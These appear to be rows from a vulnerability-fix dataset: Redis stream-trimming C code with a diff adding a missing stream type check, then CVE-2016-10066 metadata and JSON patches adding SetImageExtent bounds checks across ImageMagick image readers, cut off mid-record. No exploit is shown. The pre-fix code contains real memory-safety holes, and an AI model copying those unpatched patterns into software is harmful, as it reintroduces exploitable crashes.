if (!(flags & STREAM_ITEM_FLAG_DELETED)) {
flags |= STREAM_ITEM_FLAG_DELETED;
lp = lpReplaceInteger(lp,&p,flags);
deleted++;
s->length--;
if (s->length <= maxlen) break; /* Enough entries deleted. */
}
p = lpNext(lp,p); /* Skip ID ms delta. */
p = lpNext(lp,p); /* Skip ID seq delta. */
p = lpNext(lp,p); /* Seek num-fields or values (if compressed). */
if (flags & STREAM_ITEM_FLAG_SAMEFIELDS) {
to_skip = master_fields_count;
} else {
to_skip = lpGetInteger(p);
to_skip = 1+(to_skip*2);
}
while(to_skip--) p = lpNext(lp,p); /* Skip the whole entry. */
p = lpNext(lp,p); /* Skip the final lp-count field. */
}
/* Here we should perform garbage collection in case at this point
* there are too many entries deleted inside the listpack. */
entries -= to_delete;
marked_deleted += to_delete;
if (entries + marked_deleted > 10 && marked_deleted > entries/2) {
/* TODO: perform a garbage collection. */
}
/* Update the listpack with the new pointer. */
raxInsert(s->rax,ri.key,ri.key_len,lp,NULL);
break; /* If we are here, there was enough to delete in the current
node, so no need to go to the next node. */
}
raxStop(&ri);
return deleted;
}
|
int64_t streamTrimByLength(stream *s, size_t maxlen, int approx) {
if (s->length <= maxlen) return 0;
raxIterator ri;
raxStart(&ri,s->rax);
raxSeek(&ri,"^",NULL,0);
int64_t deleted = 0;
while(s->length > maxlen && raxNext(&ri)) {
unsigned char *lp = ri.data, *p = lpFirst(lp);
int64_t entries = lpGetInteger(p);
/* Check if we can remove the whole node, and still have at
* least maxlen elements. */
if (s->length - entries >= maxlen) {
lpFree(lp);
raxRemove(s->rax,ri.key,ri.key_len,NULL);
raxSeek(&ri,">=",ri.key,ri.key_len);
s->length -= entries;
deleted += entries;
continue;
}
/* If we cannot remove a whole element, and approx is true,
* stop here. */
if (approx) break;
/* Otherwise, we have to mark single entries inside the listpack
* as deleted. We start by updating the entries/deleted counters. */
int64_t to_delete = s->length - maxlen;
serverAssert(to_delete < entries);
lp = lpReplaceInteger(lp,&p,entries-to_delete);
p = lpNext(lp,p); /* Seek deleted field. */
int64_t marked_deleted = lpGetInteger(p);
lp = lpReplaceInteger(lp,&p,marked_deleted+to_delete);
p = lpNext(lp,p); /* Seek num-of-fields in the master entry. */
/* Skip all the master fields. */
int64_t master_fields_count = lpGetInteger(p);
p = lpNext(lp,p); /* Seek the first field. */
for (int64_t j = 0; j < master_fields_count; j++)
p = lpNext(lp,p); /* Skip all master fields. */
p = lpNext(lp,p); /* Skip the zero master entry terminator. */
/* 'p' is now pointing to the first entry inside the listpack.
* We have to run entry after entry, marking entries as deleted
* if they are already not deleted. */
while(p) {
int flags = lpGetInteger(p);
int to_skip;
/* Mark the entry as deleted. */
if (!(flags & STREAM_ITEM_FLAG_DELETED)) {
flags |= STREAM_ITEM_FLAG_DELETED;
lp = lpReplaceInteger(lp,&p,flags);
deleted++;
s->length--;
if (s->length <= maxlen) break; /* Enough entries deleted. */
}
p = lpNext(lp,p); /* Skip ID ms delta. */
p = lpNext(lp,p); /* Skip ID seq delta. */
p = lpNext(lp,p); /* Seek num-fields or values (if compressed). */
if (flags & STREAM_ITEM_FLAG_SAMEFIELDS) {
to_skip = master_fields_count;
} else {
to_skip = lpGetInteger(p);
to_skip = 1+(to_skip*2);
}
while(to_skip--) p = lpNext(lp,p); /* Skip the whole entry. */
p = lpNext(lp,p); /* Skip the final lp-count field. */
}
/* Here we should perform garbage collection in case at this point
* there are too many entries deleted inside the listpack. */
entries -= to_delete;
marked_deleted += to_delete;
if (entries + marked_deleted > 10 && marked_deleted > entries/2) {
/* TODO: perform a garbage collection. */
}
/* Update the listpack with the new pointer. */
raxInsert(s->rax,ri.key,ri.key_len,lp,NULL);
break; /* If we are here, there was enough to delete in the current
node, so no need to go to the next node. */
}
raxStop(&ri);
return deleted;
}
|
C
| null | null | null |
@@ -1576,7 +1576,7 @@ NULL
/* Lookup the key now, this is common for all the subcommands but HELP. */
if (c->argc >= 4) {
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);
- if (o == NULL) return;
+ if (o == NULL || checkType(c,o,OBJ_STREAM)) return;
s = o->ptr;
grpname = c->argv[3]->ptr;
|
redis
|
c04082cf138f1f51cedf05ee9ad36fb6763cafc6
|
be899b824edd312d4e3a1998c56626d66fae3b61
| 0
|
int64_t streamTrimByLength(stream *s, size_t maxlen, int approx) {
if (s->length <= maxlen) return 0;
raxIterator ri;
raxStart(&ri,s->rax);
raxSeek(&ri,"^",NULL,0);
int64_t deleted = 0;
while(s->length > maxlen && raxNext(&ri)) {
unsigned char *lp = ri.data, *p = lpFirst(lp);
int64_t entries = lpGetInteger(p);
/* Check if we can remove the whole node, and still have at
* least maxlen elements. */
if (s->length - entries >= maxlen) {
lpFree(lp);
raxRemove(s->rax,ri.key,ri.key_len,NULL);
raxSeek(&ri,">=",ri.key,ri.key_len);
s->length -= entries;
deleted += entries;
continue;
}
/* If we cannot remove a whole element, and approx is true,
* stop here. */
if (approx) break;
/* Otherwise, we have to mark single entries inside the listpack
* as deleted. We start by updating the entries/deleted counters. */
int64_t to_delete = s->length - maxlen;
serverAssert(to_delete < entries);
lp = lpReplaceInteger(lp,&p,entries-to_delete);
p = lpNext(lp,p); /* Seek deleted field. */
int64_t marked_deleted = lpGetInteger(p);
lp = lpReplaceInteger(lp,&p,marked_deleted+to_delete);
p = lpNext(lp,p); /* Seek num-of-fields in the master entry. */
/* Skip all the master fields. */
int64_t master_fields_count = lpGetInteger(p);
p = lpNext(lp,p); /* Seek the first field. */
for (int64_t j = 0; j < master_fields_count; j++)
p = lpNext(lp,p); /* Skip all master fields. */
p = lpNext(lp,p); /* Skip the zero master entry terminator. */
/* 'p' is now pointing to the first entry inside the listpack.
* We have to run entry after entry, marking entries as deleted
* if they are already not deleted. */
while(p) {
int flags = lpGetInteger(p);
int to_skip;
/* Mark the entry as deleted. */
if (!(flags & STREAM_ITEM_FLAG_DELETED)) {
flags |= STREAM_ITEM_FLAG_DELETED;
lp = lpReplaceInteger(lp,&p,flags);
deleted++;
s->length--;
if (s->length <= maxlen) break; /* Enough entries deleted. */
}
p = lpNext(lp,p); /* Skip ID ms delta. */
p = lpNext(lp,p); /* Skip ID seq delta. */
p = lpNext(lp,p); /* Seek num-fields or values (if compressed). */
if (flags & STREAM_ITEM_FLAG_SAMEFIELDS) {
to_skip = master_fields_count;
} else {
to_skip = lpGetInteger(p);
to_skip = 1+(to_skip*2);
}
while(to_skip--) p = lpNext(lp,p); /* Skip the whole entry. */
p = lpNext(lp,p); /* Skip the final lp-count field. */
}
/* Here we should perform garbage collection in case at this point
* there are too many entries deleted inside the listpack. */
entries -= to_delete;
marked_deleted += to_delete;
if (entries + marked_deleted > 10 && marked_deleted > entries/2) {
/* TODO: perform a garbage collection. */
}
/* Update the listpack with the new pointer. */
raxInsert(s->rax,ri.key,ri.key_len,lp,NULL);
break; /* If we are here, there was enough to delete in the current
node, so no need to go to the next node. */
}
raxStop(&ri);
return deleted;
}
|
71,700
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-10066
|
https://www.cvedetails.com/cve/CVE-2016-10066/
|
CWE-119
|
Medium
| null | null | null |
2017-03-03
| 4.3
|
Buffer overflow in the ReadVIFFImage function in coders/viff.c in ImageMagick before 6.9.4-5 allows remote attackers to cause a denial of service (application crash) via a crafted file.
|
2017-03-04
|
DoS Overflow
| 0
|
https://github.com/ImageMagick/ImageMagick/commit/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6
|
f6e9d0d9955e85bdd7540b251cd50d598dacc5e6
| null | 0
|
coders/sixel.c
|
{"sha": "ca393265a99b634fb87ee6aefa65985b1eae5cd6", "filename": "ChangeLog", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/ChangeLog", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/ChangeLog", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/ChangeLog?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -22,6 +22,8 @@\n Mateusz Jurczyk of the Google Security Team).\n * Additional PNM sanity checks (reference\n http://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=26682).\n+ * The SetImageBias() biad value is no longer ignored (reference\n+ http://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=25732).\n \n 2014-11-16 6.9.0-0 Cristy <quetzlzacatenango@image...>\n * New version 6.9.0-0, SVN revision 17067."}<_**next**_>{"sha": "9af5e1356a43a3d14f073fea2da94fa78358b5e7", "filename": "coders/aai.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/aai.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/aai.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/aai.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -158,6 +158,12 @@ static Image *ReadAAIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n pixels=(unsigned char *) AcquireQuantumMemory(image->columns,\n 4*sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)"}<_**next**_>{"sha": "162af1a399c5726bfb2dcbe51cd5c6aca5e7275c", "filename": "coders/art.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/art.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/art.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/art.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -155,6 +155,12 @@ static Image *ReadARTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert bi-level image to pixel packets.\n */"}<_**next**_>{"sha": "d7a1bbc285285aa125c7229c27af162bd74d0fdf", "filename": "coders/avs.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/avs.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/avs.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/avs.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -160,6 +160,12 @@ static Image *ReadAVSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n pixels=(unsigned char *) AcquireQuantumMemory(image->columns,\n 4*sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)"}<_**next**_>{"sha": "3183bbba97557d82361d48cd42c4949bb7abc6d0", "filename": "coders/bgr.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/bgr.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/bgr.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/bgr.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -197,6 +197,12 @@ static Image *ReadBGRImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n switch (image_info->interlace)\n {\n case NoInterlace:"}<_**next**_>{"sha": "a608b969eacdfbf309929aab6e971cf9b9f18b9d", "filename": "coders/bmp.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/bmp.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/bmp.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/bmp.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -928,6 +928,12 @@ static Image *ReadBMPImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read image data.\n */"}<_**next**_>{"sha": "bad3dd89ec8fd073842806f6b6993043d20f3b85", "filename": "coders/cin.c", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cin.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cin.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/cin.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -721,11 +721,17 @@ static Image *ReadCINImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->depth=cin.image.channel[0].bits_per_pixel;\n image->columns=cin.image.channel[0].pixels_per_line;\n image->rows=cin.image.channel[0].lines_per_image;\n- if (image_info->ping)\n+ if (image_info->ping != MagickFalse)\n {\n (void) CloseBlob(image);\n return(image);\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert CIN raster image to pixel packets.\n */"}<_**next**_>{"sha": "edd34abf5fc430085d8c6313e463b6d54bb7caeb", "filename": "coders/clipboard.c", "status": "modified", "additions": 8, "deletions": 2, "changes": 10, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/clipboard.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/clipboard.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/clipboard.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -136,7 +136,7 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n bitmapH=(HBITMAP) GetClipboardData(CF_BITMAP);\n hPal=(HPALETTE) GetClipboardData(CF_PALETTE);\n CloseClipboard();\n- if ( bitmapH == NULL )\n+ if (bitmapH == NULL)\n ThrowReaderException(CoderError,\"NoBitmapOnClipboard\");\n {\n BITMAPINFO\n@@ -163,8 +163,14 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n GetObject(bitmapH,sizeof(BITMAP),(LPSTR) &bitmap);\n if ((image->columns == 0) || (image->rows == 0))\n {\n- image->rows=bitmap.bmHeight;\n image->columns=bitmap.bmWidth;\n+ image->rows=bitmap.bmHeight;\n+ }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n }\n /*\n Initialize the bitmap header info."}<_**next**_>{"sha": "68b9e7930f5b621717e1def41217aa2fe441a597", "filename": "coders/cmyk.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cmyk.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cmyk.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/cmyk.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -197,6 +197,12 @@ static Image *ReadCMYKImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n SetImageColorspace(image,CMYKColorspace);\n switch (image_info->interlace)\n {"}<_**next**_>{"sha": "f429827ce4a555c62167d7335bc03c6b54a4d647", "filename": "coders/cut.c", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cut.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/cut.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/cut.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -371,7 +371,13 @@ static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->depth=8;\n image->colors=(size_t) (GetQuantumRange(1UL*i)+1);\n \n- if (image_info->ping) goto Finish;\n+ if (image_info->ping != MagickFalse) goto Finish;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n \n /* ----- Do something with palette ----- */\n if ((clone_info=CloneImageInfo(image_info)) == NULL) goto NoPalette;"}<_**next**_>{"sha": "a0a0c7555ef8e8d10e7fa36c3ffee5f5b1058169", "filename": "coders/dcm.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dcm.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dcm.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/dcm.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -3689,6 +3689,12 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=(size_t) width;\n image->rows=(size_t) height;\n image->depth=depth;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ break;\n+ }\n image->colorspace=RGBColorspace;\n if ((image->colormap == (PixelPacket *) NULL) && (samples_per_pixel == 1))\n {"}<_**next**_>{"sha": "ad2118270299999cc9b369f5d75f93ac498c37e6", "filename": "coders/dds.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dds.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dds.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/dds.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1834,6 +1834,12 @@ static Image *ReadDDSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n \n if ((decoder)(image, &dds_info, exception) != MagickTrue)\n {"}<_**next**_>{"sha": "88cb56ce33d3bd02598c697157db34e28c6016f1", "filename": "coders/dib.c", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dib.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dib.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/dib.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -520,7 +520,7 @@ static Image *ReadDIBImage(const ImageInfo *image_info,ExceptionInfo *exception)\n */\n (void) ResetMagickMemory(&dib_info,0,sizeof(dib_info));\n dib_info.size=ReadBlobLSBLong(image);\n- if (dib_info.size!=40)\n+ if (dib_info.size != 40)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Microsoft Windows 3.X DIB image file.\n@@ -573,6 +573,12 @@ static Image *ReadDIBImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((geometry.height != 0) && (geometry.height < image->rows))\n image->rows=geometry.height;\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (image->storage_class == PseudoClass)\n {\n size_t"}<_**next**_>{"sha": "2f830be1e43de7278303bb203a3954c871ce792e", "filename": "coders/djvu.c", "status": "modified", "additions": 8, "deletions": 1, "changes": 9, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/djvu.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/djvu.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/djvu.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -418,7 +418,7 @@ get_page_image(LoadContext *lc, ddjvu_page_t *page, int x, int y, int w, int h,\n if (SyncAuthenticPixels(image,&image->exception) == MagickFalse)\n break;\n }\n- if (!image->ping)\n+ if (image->ping == MagickFalse)\n SyncImage(image);\n } else {\n #if DEBUG\n@@ -577,6 +577,7 @@ static Image *ReadOneDJVUImage(LoadContext* lc,const int pagenum,\n Image *image;\n int logging;\n int tag;\n+ MagickBooleanType status;\n \n /* so, we know that the page is there! Get its dimension, and */\n \n@@ -667,6 +668,12 @@ static Image *ReadOneDJVUImage(LoadContext* lc,const int pagenum,\n image->matte = MagickTrue;\n /* is this useful? */\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n #if DEBUG\n printf(\"now filling %.20g x %.20g\\n\",(double) image->columns,(double)\n image->rows);"}<_**next**_>{"sha": "68c841acee9001403754a1a65f2811be33492185", "filename": "coders/dps.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dps.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dps.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/dps.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -328,6 +328,12 @@ static Image *ReadDPSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n switch (image->storage_class)\n {\n case DirectClass:"}<_**next**_>{"sha": "05a4c3f09ebf3a3a390ef40dcdd292d69fa3470f", "filename": "coders/dpx.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dpx.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/dpx.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/dpx.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1126,6 +1126,12 @@ static Image *ReadDPXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n for (n=0; n < (ssize_t) dpx.image.number_elements; n++)\n {\n /*"}<_**next**_>{"sha": "4c4217332c44d04fde6f6f1f19c4a9d6a3521a4b", "filename": "coders/emf.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/emf.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/emf.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/emf.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -507,6 +507,12 @@ static Image *ReadEMFImage(const ImageInfo *image_info,\n y=0;\n (void) GetGeometry(image_info->size,&x,&y,&image->columns,&image->rows);\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (image_info->page != (char *) NULL)\n {\n char"}<_**next**_>{"sha": "ade365835b28ec22440022598b118e1abf7b7ebb", "filename": "coders/exr.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/exr.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/exr.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/exr.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -212,6 +212,12 @@ static Image *ReadEXRImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n scanline=(ImfRgba *) AcquireQuantumMemory(image->columns,sizeof(*scanline));\n if (scanline == (ImfRgba *) NULL)\n {"}<_**next**_>{"sha": "40039a382c0678c10a1e4992f2acb3b578ed478b", "filename": "coders/fax.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fax.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fax.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/fax.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -178,6 +178,12 @@ static Image *ReadFAXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n status=HuffmanDecodeImage(image);\n if (status == MagickFalse)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");"}<_**next**_>{"sha": "1bb6e306ea2380212562fe2cd8c039355435a72d", "filename": "coders/fits.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fits.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fits.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/fits.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -423,6 +423,12 @@ static Image *ReadFITSImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if 